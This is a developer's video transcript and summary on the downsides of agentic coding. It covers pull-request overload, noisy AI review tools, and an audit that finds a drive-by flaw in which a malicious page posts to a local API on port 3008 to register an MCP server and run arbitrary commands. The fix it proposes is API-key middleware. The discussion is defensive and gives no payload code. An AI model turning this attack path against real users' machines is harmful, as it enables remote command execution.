These are the major issues with agentic coding
By Web Dev Cody
Summary
## Key takeaways - **Faster AI code floods maintainers**: The first main issue with agentic coding is you're able to ship a lot more code in a lot less time, which is problematic for open source maintainers who wake up to a bunch more pull requests every day that they have to manually review for security, performance, and bugs. [00:13], [00:33] - **Massive PRs overwhelm reviewers**: Pull requests from agentic coding often involve 45 or even 185 file changes, and contributors submit them without discussing with core maintainers in Discord, slapping in features that might go against the project's core vision. [00:44], [01:01] - **LLMs introduce security holes**: Sometimes LLMs are not perfect and will ship security vulnerabilities if not properly directed, like a potential drive-by attack where a malicious link posts to localhost:3008 to add an MCP server and run arbitrary commands on the user's computer. [01:17], [02:43] - **AI tools generate review overload**: All pull requests run through Code Rabbit, Gemini Code Assist, and Claude for security and bugs, producing tons of comments that maintainers must read through, adding to the workload for thorough code acceptance. [01:23], [01:44] - **Manual audits catch hallucinations**: After AI flags issues, run the branch locally, prompt Claude for git diff security audits, ask follow-up questions, and fact-check because LLMs hallucinate and tell completely wrong things if not verified. [02:04], [04:30] - **Prompt LLMs to fix vulnerabilities**: Even if LLMs write insecure code, prompt them to fix it, like setting up an API key middleware generated on Electron app load, stored in config, and attached to headers to block unauthorized access. [05:43], [05:59]
Topics Covered
- AI Coding Burdens Open Source Maintainers
- LLMs Ship Hidden Security Vulnerabilities
- Drive-By Attacks Exploit Local APIs
- Prompt LLMs to Autofix Vulnerabilities
- Fact-Check LLMs or Ship Slop
Full Transcript
Although I do love agent to coding and I do think it is the future that we're already in in terms of software engineering. I do think there are some
engineering. I do think there are some downsides to using it. I want to kind of talk about those downsides so everyone's kind of on the same page of where I am at in terms of my opinions on it. So the
first main issue with agenda coding is you're able to ship a lot more code in a lot less time. And why this is problematic especially for open source maintainers is every day I wake up and I see a bunch more pull requests created
for this project. And that's more workload that I have to basically go through and review these things manually. make sure there's no security
manually. make sure there's no security vulnerabilities, make sure there's no performance issues, make sure there's no bugs. And with the power of shipping
bugs. And with the power of shipping more code in a lot less time, it puts the burden on maintainers who are actually serious about not just shipping a bunch of slop. And so every time I look through a pull request, I basically
have to review. In this one, there's 45 file changes, but I've seen other pull requests made that have like 185 file changes and I see that and I'm like, I'm not reviewing that. I'm just not going to review that because first of all, people are just submitting pull requests
to this project without joining the Discord to even discuss with the core maintainers what we should or shouldn't add. They're just kind of slapping in
add. They're just kind of slapping in whatever features they think is useful and that might go against our core vision. So even with the power shipping
vision. So even with the power shipping code, there's still going to be bottlenecks and that bottleneck basically falls down to me and the core maintainers of this project. Right now
the second main issue with agenda coding is that sometimes LLMs are not perfect.
they will ship security vulnerabilities and if you don't properly direct the LM to check for things it's going to get missed. Now in this project all of the
missed. Now in this project all of the pull requests are ran through code rabbit to check for security issues to check for code maintaining ability issues to check for bugs and I also set up Gemini code assist and at one point I have claude code basically reviewing
everyone's code because I am kind of concerned just having random people submit pull request and this is another issue because now I have all this stuff that gets printed in a pull request that I have to read through and again like
who has all this time to review all of these comments on the pull request but if you want to do a thorough job accepting code you probably should. So,
for example, code rabbit found a critical issue with tailwind. I mean, I don't really care about that. It's a
tailwind. I don't know why it marked tailwind stuff as critical. I would
expect critical stuff to be related to uh security stuff. Which leads me to my next point. Often when a pull request is
next point. Often when a pull request is created, I will go and I will check out that branch and I will run it locally to make sure it doesn't have bugs and make sure it works. And then I will also do a manual audit on security. So, for
example, I have cloud code running over here on that branch. And a prompt I will typically give is let's see if I can find it. Can you please do a git diff
find it. Can you please do a git diff and look through all the MCP related changes in this branch and do a security audit to make sure that there's nothing super insecure that was added to this branch of code ultrathink. This is a
prompt I like to use and I will change it based on like what the actual branch was for. And this ran through and
was for. And this ran through and basically did one more security check on all the endpoints that were added in.
And one of the things that it found was a potential drive by attack where someone could potentially send an evil malicious link to somebody. And if that person has Automaker running on a
particular port, that malicious link at evil.com could do a post request to their API settings and they can manually add in an MCP server and that MCP server
will kick off on automaker and start running whatever malicious can uh commands that they want. So to
understand how this security vulnerability actually comes into play, I think it is important to understand how MCP works. So when it comes to MCP, you can define these configurations where you can give a name for a tool
that cloud code can call into. For
example, context 7 is a tool that a lot of people use to get more documentation for implementing frameworks and libraries. And when cloud code is
libraries. And when cloud code is running, if you have this MCP server set up, it basically runs a local server.
Right here, there's a command mpx/y up-context7mcp.
Okay, so I can grab this and I can paste it in the automaker and that behind the scenes is going to kick off whatever arbitrary command that the user pastes in which is a potential issue, right?
And now that this thing is exposed over an endpoint because the way automaker works is we have the actual like UI which is what you're seeing in automaker and then that calls into an API. The API
is nested inside the Electron app and all this stuff is exposed over a local host port 3008. So the way the drive by attack works is let's say someone joins my Discord server and they have a
malicious site and they're like, "Hey, can you guys check out my cool site?"
They could potentially go to that site.
That site can then call into localhost 3008 and try to manually update the MCP server. like they could add in their own
server. like they could add in their own special MTP server and then the Electron app would just start running that arbitrary command over the person's computer which could cause a lot of bad things, right? So then I ask a bunch of
things, right? So then I ask a bunch of follow-up questions to try to make sure I truly understand like what concerns it's finding and also I make sure that it's not hallucinating. I will go and ask some follow-up questions, do a
little bit of research on the side to make sure that what it's telling me is actually true because again that's another issue with LM. They do
hallucinate. They do sometimes tell you stuff that's just completely wrong and you do have to fact check it. Check it
constantly. If you're not fact-checking the LLM, you are going to do yourself a disservice in the long run. But I do think this was a potential issue and the fix ends up being that we should add a
API key to the API so that the only thing that can access this API is the UI that knows the API key. Okay. So like
basically it's saying we should generate a key on the API. only the UI should know about it so that even if you were to go to a bad link, it wouldn't have that key and it couldn't just run some arbitrary command on your locally
running machine. Now, this is also an
running machine. Now, this is also an issue with other scripts too, right?
This isn't just driveby. If you were to go and like mpm npx run some type of script, you could also have some running script on your computer that could also know that you have automaker running and that could call some arbitrary endpoint
to set up some thing. But I guess at that point, if you're running a script on your computer, you're already kind of compromised, right? Okay, so that's
compromised, right? Okay, so that's probably not as big of an issue. So, at
this point, now that I've reviewed the pull request, I found a couple of security vulnerabilities that we should probably check. The next steps are
probably check. The next steps are actually prompting the LM to fix it. One
of the main arguments that people always say is that LM will write insecure code.
And again, this is potentially true, but we also have the power to fix the insecure code. So, what I would probably
insecure code. So, what I would probably do is I'd say, can you please set up an API key that runs as a middleware over every single API endpoint? And then also
when we first load up the Electron app, generate an API key using the crypto library and store that somewhere on the normal automaker configuration and then
attach that to a header for every future request so that the only person who can access the API is someone with the key and that would only be the Electron app.
Okay. So I would then kick off something like this. You could even do a plan too
like this. You could even do a plan too if you want to do a plan to make it maybe be a little bit more accurate. You
can kick off a plan. But overall that's the approach I take. Now, I would say that if you're doing agentic coding, a lot of people conflate the terms agent coding and coding with LMS to vibe coding. I don't vibe code. I actually
coding. I don't vibe code. I actually
review the code. I make sure the code seems like it's secure. At the end of the day, you are responsible for your users in your application. And so, if you ship broken code and you break prod and you have security vulnerabilities
and prod, it doesn't matter if you used an LLM or not to use it, it's going to fall back on you. So, I do think doing your due diligence to make sure this stuff is set up correctly is something you should take seriously. That's all I
want to talk about in this video. I just
want to kind of give you one of my workflows that I like to do, especially when trying to maintain and work on Automaker. If you guys want any more
Automaker. If you guys want any more tips and tricks with the ways I like doing a coding, go to agentic jumpstart.com. I have a course with over
jumpstart.com. I have a course with over 74 videos, 11 and 1/2 hours of content where I talk about my approaches to using cloud code, cursor, all the basics for agentic coding and how to do code
reviews and how to do iterative prompting etc etc. And then finally we build out a full stack web application use a tan stack start drizzle and postgress and we get it deployed out to railway. And then I will say I am adding
railway. And then I will say I am adding in new videos as I learn new things because this AI industry is rapidly evolving and if you get this course you will have access to these new videos that I continuously publish. Other than
that hope you guys enjoyed. Have a good day and happy coding.
Loading video analysis...